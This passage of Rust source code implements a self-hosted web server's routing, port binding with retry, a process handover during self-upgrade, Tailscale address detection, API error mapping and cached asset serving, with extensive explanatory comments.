864            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
865            // it - deliberately - so the fix is that the panel's own URL ends
866            // in a filename and its siblings are the assets.
867            .route("/api/questions/{id}/panel/index.html", get(question_panel))
868            .route("/api/questions/{id}/panel/{name}", get(question_asset))
869            .route("/api/questions/{id}/asset/{name}", get(question_asset))
870            .route("/api/notifications", get(notifications_list))
871            .route("/api/notifications/read-all", post(notifications_read_all))
872            .route("/api/notifications/{id}/read", post(notification_read))
873            .route(
874                "/api/notifications/{id}/dismiss",
875                post(notification_dismiss),
876            )
877            .route("/api/talks", get(talks_list).post(talk_post))
878            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
879            .route("/api/talks/{id}/say", post(talk_say))
880            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
881            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
882            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
883            .route("/api/talks/{id}/agent", post(talk_agent))
884            .route("/api/talks/{id}/close", post(talk_close))
885            .route("/api/talks/{id}/reopen", post(talk_reopen))
886            // `DefaultBodyLimit` is raised only on this one route - every
887            // other route on this server answers in a few kilobytes, and
888            // widening the crate-wide default for all of them just because
889            // one accepts a picture would let any other handler be handed
890            // a multi-megabyte body it never expects.
891            .route(
892                "/api/talks/{id}/attachments",
893                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
894            )
895            .route(
896                "/api/talks/{id}/attachments/{att}",
897                get(talk_attachment_get),
898            )
899            .route("/api/events", get(events))
900            .with_state(Arc::new(self))
901    }
902}
903
904/// One talk's turn slot, released on drop.
905///
906/// A guard rather than a matching `remove` at the end of the handler, because
907/// the handler has several early returns and one `await` that can be cancelled
908/// out from under it. A leaked id is a talk nobody can talk to again.
909#[derive(Debug)]
910struct TalkTurnGuard {
911    talk: String,
912    turns: Arc<Mutex<TalkTurns>>,
913    released: bool,
914}
915
916/// In-memory turn ownership plus the queue generation observed by a drainer.
917///
918/// The generation changes only after a durable queued draft is written and its
919/// caller finds the turn busy. That lets the loop run filesystem work outside
920/// this mutex while still making the final empty-check/release atomic with a
921/// concurrent queue handoff.
922#[derive(Debug, Default)]
923struct TalkTurns {
924    live: HashSet<String>,
925    queued: HashMap<String, u64>,
926}
927
928/// The atomic initial-state decision made by
929/// [`Ui::begin_talk_turn_unless_pending`].
930enum TalkTurnStart {
931    Claimed(TalkTurnGuard),
932    Busy,
933    Pending,
934}
935
936impl TalkTurnGuard {
937    /// Release while the caller already holds the claim mutex, closing the
938    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
939    fn release(mut self, live: &mut TalkTurns) {
940        live.live.remove(&self.talk);
941        live.queued.remove(&self.talk);
942        self.released = true;
943    }
944}
945
946impl Drop for TalkTurnGuard {
947    fn drop(&mut self) {
948        if self.released {
949            return;
950        }
951        if let Ok(mut live) = self.turns.lock() {
952            live.live.remove(&self.talk);
953            live.queued.remove(&self.talk);
954        }
955    }
956}
957
958/// Releases a resume claim, so a run is resumable again after the attempt.
959struct ResumeGuard {
960    run: String,
961    resuming: Arc<Mutex<HashSet<String>>>,
962}
963
964impl Drop for ResumeGuard {
965    fn drop(&mut self) {
966        if let Ok(mut live) = self.resuming.lock() {
967            live.remove(&self.run);
968        }
969    }
970}
971
972/// Bind the port, waiting briefly for a predecessor to let go of it.
973///
974/// A restart hands the address from one process to the next, and the old one
975/// holds its listener until it unwinds. A single `bind` can lose that race,
976/// and for a restart triggered from a phone that means the deck never comes
977/// back with no terminal around to say why.
978///
979/// Bounded, and only for the one error a wait can fix: anything else fails at
980/// once, because retrying it would turn a clear message into a silence.
981async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
982    const WINDOW: Duration = Duration::from_secs(10);
983    const GAP: Duration = Duration::from_millis(250);
984
985    let deadline = std::time::Instant::now() + WINDOW;
986    let mut said = false;
987    loop {
988        match tokio::net::TcpListener::bind(socket).await {
989            Ok(listener) => return Ok(listener),
990            Err(e)
991                if e.kind() == std::io::ErrorKind::AddrInUse
992                    && std::time::Instant::now() < deadline =>
993            {
994                if !said {
995                    said = true;
996                    tracing::info!(
997                        "{socket} is still held - waiting up to {}s for it, \
998                         which is what a restart looks like from here",
999                        WINDOW.as_secs()
1000                    );
1001                }
1002                tokio::time::sleep(GAP).await;
1003            }
1004            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1005        }
1006    }
1007}
1008
1009/// Signalled when an upgrade has replaced the binary and the successor should
1010/// take this address over. One per process: there is one address to hand on.
1011static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1012
1013/// Set to `1` on the successor when the loop was running at handover.
1014const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1015
1016/// Whether the environment value asks for the loop to be resumed.
1017fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1018    value.is_some_and(|v| v == "1")
1019}
1020
1021/// Start this binary again with the same arguments, detached.
1022///
1023/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1024/// so the address is already free when the successor binds it. The first
1025/// attempt at this spawned the successor two hundred milliseconds before
1026/// exiting instead, and the released binary - which has no bind retry - died
1027/// on "address already in use" with its stdio sent to null, so the deck
1028/// simply never came back.
1029///
1030/// Detached and without inherited stdio: the successor has to outlive this
1031/// process, and must not hold open a pipe a terminal is waiting on.
1032///
1033/// `resume` tells the successor to start the queue loop, through
1034/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1035/// process inherited from its own predecessor cannot leak into a generation
1036/// that should not resume. The successor's own environment keeps the variable
1037/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1038///
1039/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1040/// than sent to null: a supervisor's redirection only ever held the first
1041/// generation's descriptors, so every later generation logged nowhere. The
1042/// pid of the child is returned so the handover log can name it.
1043fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1044    let exe = std::env::current_exe().context("find this binary")?;
1045    let args: Vec<String> = std::env::args().skip(1).collect();
1046    updater::log_step(
1047        home,
1048        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1049    );
1050    let log_path = home.join(WEB_LOG);
1051    let open_log = || {
1052        std::fs::create_dir_all(home)?;
1053        std::fs::OpenOptions::new()
1054            .create(true)
1055            .append(true)
1056            .open(&log_path)
1057    };
1058    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1059        Ok(pair) => (
1060            std::process::Stdio::from(pair.0),
1061            std::process::Stdio::from(pair.1),
1062        ),
1063        Err(e) => {
1064            updater::log_warn(
1065                home,
1066                &format!(
1067                    "could not open {}: {e}; the successor logs nowhere",
1068                    log_path.display()
1069                ),
1070            );
1071            (std::process::Stdio::null(), std::process::Stdio::null())
1072        }
1073    };
1074
1075    let mut cmd = std::process::Command::new(&exe);
1076    if resume {
1077        cmd.env(RESUME_LOOP_ENV, "1");
1078    } else {
1079        cmd.env_remove(RESUME_LOOP_ENV);
1080    }
1081    cmd.args(&args)
1082        .stdin(std::process::Stdio::null())
1083        .stdout(out)
1084        .stderr(err);
1085    #[cfg(windows)]
1086    {
1087        use std::os::windows::process::CommandExt as _;
1088        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1089        // and Ctrl-C in the old terminal must not reach the successor.
1090        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1091    }
1092    let child = cmd.spawn().context("start the successor")?;
1093    Ok(child.id())
1094}
1095
1096/// File under `<home>` the successor's output is appended to.
1097const WEB_LOG: &str = "web.log";
1098
1099/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1100/// stored by an earlier `notify_one` is consumed by the first poll, so the
1101/// signal is never missed and never wakes a second time.
1102async fn wait_for_handover(signal: &Notify) {
1103    signal.notified().await;
1104}
1105
1106/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1107///
1108/// The server itself owns no state, so nothing here is graceful for the HTTP
1109/// side's sake: the connections go with the dropped listener, which costs a
1110/// phone one change-stream reconnection it was going to make anyway.
1111///
1112/// The signal branch is not optional now that the loop lives in this process.
1113/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1114/// handler is what stops the signal terminating the process - so without a
1115/// branch of our own, the first Ctrl-C after the operator started the loop
1116/// would stop the loop and leave `magi web` listening forever, unkillable
1117/// from the terminal it was started in.
1118///
1119/// What it waits for is the loop, not the sockets. A run in flight is
1120/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1121/// mid-node leaves worktrees, branches and agent sessions behind and throws
1122/// away every agent call already paid for.
1123///
1124/// The server therefore runs on a task of its own rather than inside the
1125/// `select!`: an arm that resolves *drops* the futures the other arms were
1126/// polling, so serving the address from inside one would take the deck down
1127/// at the instant the handover began and keep it down for the whole park -
1128/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1129/// owns the order.
1130pub async fn serve(opts: Opts) -> Result<()> {
1131    let (addr, warning) = resolve_bind(&opts.bind);
1132    if let Some(warning) = warning {
1133        tracing::warn!("{warning}");
1134    }
1135
1136    // Process-global, and therefore set exactly once, here: the report route
1137    // must never emit escape sequences into a browser, and toggling the flag
1138    // per request would race with a concurrent request rendering its own
1139    // report. Startup is the only moment at which no request can observe the
1140    // change. Nothing in the server turns colour back on.
1141    report::set_color(false);
1142
1143    let repo = normalize_default_repo(opts.repo).await;
1144    let ui = Ui::open(repo).with_merge(opts.merge);
1145    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1146    // home to bracket the parking and restarting stages, and `run_update_recheck`
1147    // needs both it and the repo, and by then there is no `ui` left to read
1148    // them from.
1149    let home = ui.home.clone();
1150    let repo = ui.repo.clone();
1151    // Settles a progress record a predecessor left non-terminal - either this
1152    // *is* the successor `spawn_successor` started, or the previous process
1153    // died mid-handover. Before the router starts answering, so the very
1154    // first `/api/health` a phone gets from this process already reflects it.
1155    updater::reconcile_after_restart(&home);
1156    updater::log_step(
1157        &home,
1158        &format!(
1159            "web process started (version {}); handover log {}, successor output {}",
1160            env!("CARGO_PKG_VERSION"),
1161            updater::log_path(&home).display(),
1162            home.join(WEB_LOG).display()
1163        ),
1164    );
1165    updater::spawn_watchdog(home.clone());
1166    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1167    // `spawn_update_check` does at startup only ever runs once: after that,
1168    // `/api/health`'s `update` field - and the phone's "Update & restart"
1169    // button, which reads the very same cache - would stay frozen on
1170    // whatever that single check found, no matter how many releases ship
1171    // afterwards. This keeps it current instead. Detached: it must keep
1172    // going for as long as this process serves, `serve` has nothing to await
1173    // it for, and it exits on its own the moment the process does.
1174    tokio::spawn(run_update_recheck(repo, home.clone()));
1175    let looping = ui.looping();
1176    let socket = SocketAddr::new(addr, opts.port);
1177    let listener = bind_waiting(socket).await?;
1178    let url = format!("http://{addr}:{}", opts.port);
1179    tracing::info!(
1180        "magi web UI on {url} - there is no authentication, so anyone who can \
1181         reach this address can file and hold tasks: the tailnet is the \
1182         security boundary"
1183    );
1184    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1185        tracing::info!("resumed the loop the predecessor was running");
1186    } else {
1187        tracing::info!(
1188            "the queue loop is not running yet - start it from the UI, which is \
1189             the whole reason this process can: nothing in the queue moves until \
1190             something is running the loop"
1191        );
1192    }
1193    if opts.open {
1194        // The URL alone on stdout, for a caller that wants to open it. magi
1195        // does not spawn a browser: on the machine this usually runs on there
1196        // is no display, and a failed launch would be the only output.
1197        println!("{url}");
1198    }
1199
1200    // On its own task, so nothing this function awaits can stop the address
1201    // being answered. `hand_over` is where it is given up.
1202    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1203    let interrupted = async {
1204        if tokio::signal::ctrl_c().await.is_err() {
1205            // No handler on this platform, so there is no signal to act on.
1206            // Never resolving is the safe answer: a failed registration must
1207            // not masquerade as the operator asking for a shutdown and take
1208            // the UI down on startup.
1209            std::future::pending::<()>().await;
1210        }
1211    };
1212    let handover = wait_for_handover(&HANDOVER);
1213    let outcome = tokio::select! {
1214        joined = &mut served => match joined {
1215            Ok(outcome) => outcome.context("serve the web UI"),
1216            Err(e) => Err(e).context("the task serving the web UI ended"),
1217        },
1218        () = interrupted => {
1219            tracing::info!("shutting down the web UI");
1220            finish_loop(&home, &looping).await;
1221            Ok(())
1222        }
1223        () = handover => {
1224            updater::log_step(&home, "serve: the select! woke on the handover signal");
1225            let successor_home = home.clone();
1226            hand_over(&home, &looping, served, move |resume| {
1227                spawn_successor(&successor_home, resume)
1228            })
1229            .await
1230        }
1231    };
1232    updater::log_step(
1233        &home,
1234        &match &outcome {
1235            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1236            Err(e) => format!("serve: returning an error: {e:#}"),
1237        },
1238    );
1239    outcome
1240}
1241
1242/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1243/// process's own working directory is not a git checkout at all - the
1244/// checkout [`repos::discover_verified`] finds instead.
1245///
1246/// Only the unmodified default is ever replaced: an operator who named a
1247/// directory outright, git checkout or not, gets exactly that directory
1248/// back, and the same story downstream (a talk whose briefing embeds a
1249/// non-git directory, and an agent that has to ask the operator where the
1250/// real repository is) that has always told them so - substituting a guess
1251/// for an explicit answer would be a second, silent opinion about what they
1252/// meant. There is no instruction or task text yet to match against this
1253/// early, so only [`repos::discover_verified`]'s own-repository tier can
1254/// ever settle this - the hint tier never fires here.
1255///
1256/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1257/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1258/// or a git installation that is broken in exactly the way that made the
1259/// original `canonical` check above fail too - so it is re-checked with
1260/// `git::toplevel` before it is ever used in place of the operator's own
1261/// directory.
1262async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1263    if repo != FsPath::new(".") {
1264        return repo;
1265    }
1266    let Ok(canonical) = repo.canonicalize() else {
1267        return repo;
1268    };
1269    if git::toplevel(&canonical).await.is_ok() {
1270        return repo;
1271    }
1272    let Some(home) = dirs::home_dir() else {
1273        return repo;
1274    };
1275    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1276        Some(found) => {
1277            tracing::info!(
1278                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1279                canonical.display(),
1280                found.path.display(),
1281                found.reason,
1282            );
1283            found.path
1284        }
1285        None => repo,
1286    }
1287}
1288
1289/// Park the loop, then release the address, then start the successor.
1290///
1291/// The order is the whole function, and each step is answerable to a failure
1292/// this arrangement has already had:
1293///
1294/// 1. **Park.** The loop was asked to stop by the request that replaced the
1295///    binary, and this waits for it, because killing the graph mid-node
1296///    leaves worktrees, branches and agent sessions behind and throws away
1297///    every agent call already paid for. It takes as long as the node in
1298///    flight - up to `timeout_implement`, an hour by default - and the deck
1299///    goes on answering for all of it, which is the reason `served` is a task
1300///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1301///    first upgrade from a phone that caught a run mid-implement dropped the
1302///    listener the moment it was asked to, and the operator got
1303///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1304///    waiting on and nothing but a process list to say the run was alive.
1305/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1306///    the join resolves only once the task's future has been dropped, so the
1307///    listener is released before the next line. Connections it already
1308///    accepted are served on tasks of their own and wind down asynchronously;
1309///    on some platforms (macOS) they can briefly keep the address busy, and
1310///    the successor's `bind_waiting` absorbs that.
1311/// 3. **Start the successor**, which binds the address this process has just
1312///    let go of - see [`spawn_successor`] for what the other order cost.
1313///
1314/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1315/// reporting, not part of the design: it exists so `/api/health` can say
1316/// "parking, waiting on run X" instead of leaving the phone to guess why the
1317/// deck went quiet, and dropping it would not change the order above.
1318async fn hand_over(
1319    home: &FsPath,
1320    looping: &Mutex<LoopState>,
1321    served: tokio::task::JoinHandle<std::io::Result<()>>,
1322    successor: impl FnOnce(bool) -> Result<u32>,
1323) -> Result<()> {
1324    updater::log_step(home, "hand_over: entered; writing the parking stage");
1325    match updater::read_progress(home) {
1326        Some(mut progress) => {
1327            progress.advance(updater::Stage::Parking);
1328            updater::write_progress_logged(home, &progress);
1329        }
1330        None => updater::log_warn(
1331            home,
1332            "hand_over: upgrade.json is unreadable; no parking stage",
1333        ),
1334    }
1335    finish_loop(home, looping).await;
1336    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1337    served.abort();
1338    let _ = served.await;
1339    updater::log_step(home, "hand_over: listener released");
1340    // Read last: the deck answers for the whole park, so an operator's stop
1341    // during the wait must still be honoured by the successor.
1342    let resume = lock_or_recover(looping).resume_after_handover;
1343    match updater::read_progress(home) {
1344        Some(mut progress) => {
1345            progress.advance(updater::Stage::Restarting);
1346            updater::write_progress_logged(home, &progress);
1347        }
1348        None => updater::log_warn(
1349            home,
1350            "hand_over: upgrade.json is unreadable; no restarting stage",
1351        ),
1352    }
1353    updater::log_step(
1354        home,
1355        &format!("hand_over: starting the successor (resume={resume})"),
1356    );
1357    match successor(resume) {
1358        Ok(pid) => {
1359            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1360            Ok(())
1361        }
1362        Err(e) => {
1363            updater::log_warn(
1364                home,
1365                &format!("hand_over: the successor did not start: {e:#}"),
1366            );
1367            Err(e)
1368        }
1369    }
1370}
1371
1372/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1373///
1374/// The wait is the whole function. Returning from `serve` while a graph is
1375/// mid-node ends the process with worktrees, branches and agent sessions left
1376/// behind and every agent call in that run paid for and thrown away, which is
1377/// exactly what the daemon's own shutdown refuses to do.
1378async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1379    let live = lock_or_recover(state).live.take();
1380    let Some(live) = live else {
1381        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1382        return;
1383    };
1384    live.stop.stop();
1385    lock_or_recover(state).rev += 1;
1386    updater::log_step(
1387        home,
1388        "finish_loop: waiting for the loop to finish the run in flight",
1389    );
1390    let waited = std::time::Instant::now();
1391    // The task records its own outcome and logs it, so there is nothing to do
1392    // with a join error here but stop waiting.
1393    let _ = live.handle.await;
1394    updater::log_step(
1395        home,
1396        &format!(
1397            "finish_loop: the loop ended after {:.1}s",
1398            waited.elapsed().as_secs_f32()
1399        ),
1400    );
1401}
1402
1403/// Resolve `--bind` to an address, plus a warning when the answer is not what
1404/// the operator asked for.
1405///
1406/// Split out from [`serve`] because the interesting half - deciding whether
1407/// Tailscale gave us something usable - is testable without opening a socket.
1408pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1409    match bind {
1410        Bind::Addr(addr) => (*addr, None),
1411        Bind::Auto => match tailscale_ip() {
1412            Ok(ip) => (IpAddr::V4(ip), None),
1413            Err(why) => (
1414                IpAddr::V4(Ipv4Addr::LOCALHOST),
1415                Some(format!(
1416                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1417                     local-only and a phone cannot reach it; start Tailscale \
1418                     or pass --bind <addr>"
1419                )),
1420            ),
1421        },
1422    }
1423}
1424
1425/// This machine's Tailscale IPv4, or why there is not one.
1426///
1427/// `tailscale ip -4` is a local call against the running daemon and returns in
1428/// milliseconds, so it is fine to make it synchronously before the server
1429/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1430/// CGNAT block Tailscale assigns from, and anything else on that output would
1431/// be a different tool answering.
1432fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1433    let out = std::process::Command::new("tailscale")
1434        .args(["ip", "-4"])
1435        .quiet()
1436        .output()
1437        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1438    if !out.status.success() {
1439        let why = String::from_utf8_lossy(&out.stderr);
1440        let why = why.trim();
1441        return Err(format!(
1442            "`tailscale ip -4` failed ({}){}",
1443            out.status,
1444            if why.is_empty() {
1445                String::new()
1446            } else {
1447                format!(": {why}")
1448            }
1449        ));
1450    }
1451    String::from_utf8_lossy(&out.stdout)
1452        .lines()
1453        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1454        .find(is_tailnet)
1455        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1456}
1457
1458/// Is this address in the CGNAT block Tailscale hands out from?
1459fn is_tailnet(ip: &Ipv4Addr) -> bool {
1460    let o = ip.octets();
1461    o[0] == 100 && (64..=127).contains(&o[1])
1462}
1463
1464/// What every handler returns. Spelled out because `Result` in this crate is
1465/// `anyhow::Result`, and a handler's error is a status code as much as a
1466/// message.
1467type ApiResult<T> = std::result::Result<T, ApiError>;
1468
1469/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1470#[derive(Debug)]
1471struct ApiError {
1472    status: StatusCode,
1473    message: String,
1474}
1475
1476impl ApiError {
1477    /// The client asked for something malformed.
1478    fn bad_request(message: impl Into<String>) -> Self {
1479        Self {
1480            status: StatusCode::BAD_REQUEST,
1481            message: message.into(),
1482        }
1483    }
1484
1485    /// No such run or task.
1486    fn not_found(message: impl Into<String>) -> Self {
1487        Self {
1488            status: StatusCode::NOT_FOUND,
1489            message: message.into(),
1490        }
1491    }
1492
1493    /// Someone else owns the thing the client wants to change.
1494    /// Re-badge an error whose default mapping is wrong for this route.
1495    fn with_status(mut self, status: StatusCode) -> Self {
1496        self.status = status;
1497        self
1498    }
1499
1500    /// A rules violation from a domain type, reported as the caller's fault.
1501    /// `Question::answer` rejects an unoffered choice, and that is a bad
1502    /// request, not a server error.
1503    fn bad_request_from(e: anyhow::Error) -> Self {
1504        Self::bad_request(format!("{e:#}"))
1505    }
1506
1507    fn conflict(message: impl Into<String>) -> Self {
1508        Self {
1509            status: StatusCode::CONFLICT,
1510            message: message.into(),
1511        }
1512    }
1513
1514    /// Our fault, or the disk's.
1515    fn internal(message: impl Into<String>) -> Self {
1516        Self {
1517            status: StatusCode::INTERNAL_SERVER_ERROR,
1518            message: message.into(),
1519        }
1520    }
1521}
1522
1523impl From<anyhow::Error> for ApiError {
1524    /// Errors from `queue` and `run` carry their context chain, and the whole
1525    /// chain goes to the client: "parse /home/x/runs/y/run.json: expected
1526    /// value at line 3" is a message an operator can act on, and there is no
1527    /// secret in a path on a single-user tailnet.
1528    fn from(e: anyhow::Error) -> Self {
1529        Self::internal(format!("{e:#}"))
1530    }
1531}
1532
1533impl IntoResponse for ApiError {
1534    fn into_response(self) -> Response {
1535        let body = serde_json::json!({ "error": self.message });
1536        (self.status, Json(body)).into_response()
1537    }
1538}
1539
1540/// Run a handler's filesystem work off the executor.
1541///
1542/// Every route that touches the disk goes through here rather than each one
1543/// arguing about whether its own read is small enough. Uniform because the
1544/// expensive case is not rare: `run.json` for a finished competition holds
1545/// every judgement, deliberation turn and review round, so listing a few
1546/// hundred runs is megabytes of parsing, and the executor threads doing it are
1547/// the same ones serving the change stream of every other connected phone.
1548async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1549where
1550    T: Send + 'static,
1551{
1552    match tokio::task::spawn_blocking(job).await {
1553        Ok(result) => result,
1554        Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1555    }
1556}
1557
1558/// Cache policy for the three compiled-in front-end files.
1559///
1560/// The whole interface is `include_str!`ed into the binary, so its content
1561/// changes only when the binary does - and a phone that keeps a copy is
1562/// welcome to, right up until the deck is replaced. Without a single cache
1563/// header, browsers were free to invent their own policy, and one did:
1564/// yukimemi's phone went on showing "Candidates must be folded before
1565/// deleting. Run `magi fold` first." - a sentence deleted two releases
1566/// earlier - from a run detail served by a deck that no longer contained it.
1567/// The delete button he was told about was right there, and unreachable.
1568///
1569/// `must-revalidate` with an `ETag` keyed on the version: the phone asks
1570/// every time, the answer is a 304 costing one small round trip while the
1571/// deck is unchanged, and the moment it is replaced the tag differs and the
1572/// new interface arrives. Correctness over bytes - this is one file of a few
1573/// tens of kilobytes on a tailnet, and being a version behind is not a
1574/// cosmetic problem when the difference is whether a button exists.
1575const ASSET_CACHE: &str = "no-cache, must-revalidate";
1576
1577/// `ETag` for the compiled-in assets, distinct per build.
1578///
1579/// The version alone would leave a locally built deck - `cargo install
1580/// --path .` twice at the same version, which is the normal way to iterate -
1581/// serving a stale tag for changed bytes. The build timestamp is what makes
1582/// two builds of `0.3.0` differ.
1583fn asset_etag() -> &'static str {
1584    static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1585        format!(
1586            "\"{}-{}\"",
1587            env!("CARGO_PKG_VERSION"),
1588            // Length is a cheap, deterministic stand-in for a hash: the
1589            // three files are compiled in together, so any edit to any of
1590            // them almost certainly changes the total, and a rebuild is what
1591            // this needs to track rather than every possible byte pattern.
1592            INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1593        )
1594    });
1595    &TAG
1596}
1597
1598/// Headers for a compiled-in asset of `mime`.
1599fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1600    [
1601        (header::CONTENT_TYPE, mime),
1602        (header::CACHE_CONTROL, ASSET_CACHE),
1603        (header::ETAG, asset_etag()),
1604    ]
1605}
1606
1607/// Serve a compiled-in asset, answering `304` when the client already has it.
1608///
1609/// axum does not compare `If-None-Match` for us, and a header the server sets
1610/// but never honours is worse than none: the phone revalidates on every load
1611/// and is handed the whole file back each time. Doing the comparison is what
1612/// makes `must-revalidate` cost one small round trip rather than the
1613/// interface.
1614fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1615    let tag = asset_etag();
1616    let known = headers
1617        .get(header::IF_NONE_MATCH)
1618        .and_then(|v| v.to_str().ok())
1619        // A revalidating client may send several, and a proxy may weaken the
1620        // tag to `W/"..."`; matching on containment covers both without
1621        // parsing the grammar.
1622        .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1623    if known {
1624        return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1625    }
1626    (asset_headers(mime), body).into_response()
1627}
1628
1629async fn index(headers: header::HeaderMap) -> Response {
1630    asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1631}
1632
1633async fn app_css(headers: header::HeaderMap) -> Response {
1634    asset(&headers, "text/css; charset=utf-8", APP_CSS)
1635}
1636
1637async fn app_js(headers: header::HeaderMap) -> Response {
1638    asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1639}
1640
1641/// What `/api/health` answers.
1642#[derive(Debug, Serialize)]
1643struct HealthView {
1644    version: &'static str,
1645    home: String,
1646    queue_rev: u64,
1647    runs_rev: u64,
1648    /// The same revisions [`events`] streams for the question and talk
1649    /// stores.
1650    ///
1651    /// Here because this route is what the front end falls back to when the
1652    /// change stream is not up - it re-polls health on a timer and on wake, and
1653    /// takes the revisions from the answer. Without these the fallback
1654    /// compares `undefined` against `undefined` for both stores, decides
1655    /// nothing moved, and a phone with a dead stream never learns that a
1656    /// question was asked or that a talk took a turn. `queue_rev` and
1657    /// `runs_rev` above have always been here for exactly this reason; the rule
1658    /// is that every revision the stream carries, this route carries too.
1659    questions_rev: u64,
1660    /// See [`HealthView::questions_rev`]. The standing chat's own store.
1661    talks_rev: u64,
1662    /// See [`HealthView::questions_rev`]. The notification centre's store.
1663    notifications_rev: u64,
1664    /// Notifications nobody has read yet: the bell's badge before
1665    /// `/api/notifications` has answered.
1666    notifications_unread: usize,
1667    /// See [`HealthView::questions_rev`]. The loop's counter is the one that
1668    /// is not on disk anywhere, so a phone with no change stream has no other
1669    /// way to notice that the loop it is waiting on was started from another
1670    /// device.
1671    loop_rev: u64,
1672    /// Runs on disk whose state this build cannot parse - almost always a
1673    /// schema bump, occasionally a run killed mid-write.
1674    ///
1675    /// Reported because the list silently skips them, and "no competitions
1676    /// yet" is a lie when six of them are sitting in the runs directory. The
1677    /// terminal deck learned the same lesson: a run that fails to parse must
1678    /// not disappear from the count.
1679    runs_unreadable: usize,
1680    /// The disk, and what the runs and their worktrees occupy on it.
1681    ///
1682    /// This is the incident the janitor exists for: magi alone put 30 GB into
1683    /// one shared cache and 6.7-11 GB into each run's worktrees, and a phone
1684    /// is exactly where the operator learns "the disk is the constraint" -
1685    /// the diagnosis that a run is being held for want of space has to be
1686    /// checkable on the same screen.
1687    disk: DiskView,
1688    /// Questions nobody has answered yet, including ones an owner talked
1689    /// back on and is now waiting for the agent's reply to. A round trip
1690    /// never changes [`crate::ask::QuestionStatus`], so this does not drop
1691    /// while the ball is in the agent's court - see
1692    /// [`crate::ask::Questions::count_open`].
1693    questions_open: usize,
1694    /// Of those, how many actually need the owner right now: open, and not
1695    /// [`crate::ask::Question::waiting_on_agent`].
1696    ///
1697    /// The one number that means "nothing will happen until a human acts" -
1698    /// a parked run consumes nothing and progresses never - and the count the
1699    /// ask bar, the nav badge and the document title fall back to before
1700    /// `/api/questions` has answered, so those notification channels clear
1701    /// the instant the owner asks back and reappear the instant the agent
1702    /// replies, instead of sitting lit for however long the agent thinks.
1703    questions_needs_owner: usize,
1704    daemon: DaemonView,
1705    /// The loop in this process, exactly what `/api/loop` answers with.
1706    ///
1707    /// Here so a phone that has just woken needs one request to know whether
1708    /// anything is going to happen at all: `daemon` says a loop is alive
1709    /// somewhere, and this says whether it is one this UI can stop.
1710    #[serde(rename = "loop")]
1711    looping: LoopView,
1712    /// Whether a release newer than this build is known, and which.
1713    ///
1714    /// From [`updater::Checker::cached_update`] - the same throttled state the
1715    /// CLI's `notify` mode banners from - never a live check: this route is
1716    /// polled every few seconds, and a live check on each poll would spend
1717    /// GitHub's rate limit before the operator finished reading the strip.
1718    update: UpdateView,
1719    /// The self-upgrade this deck last set in motion, or `null` before the
1720    /// first one. Read off disk, so the successor can report what its
1721    /// predecessor started.
1722    upgrade: Option<UpgradeProgressView>,
1723}
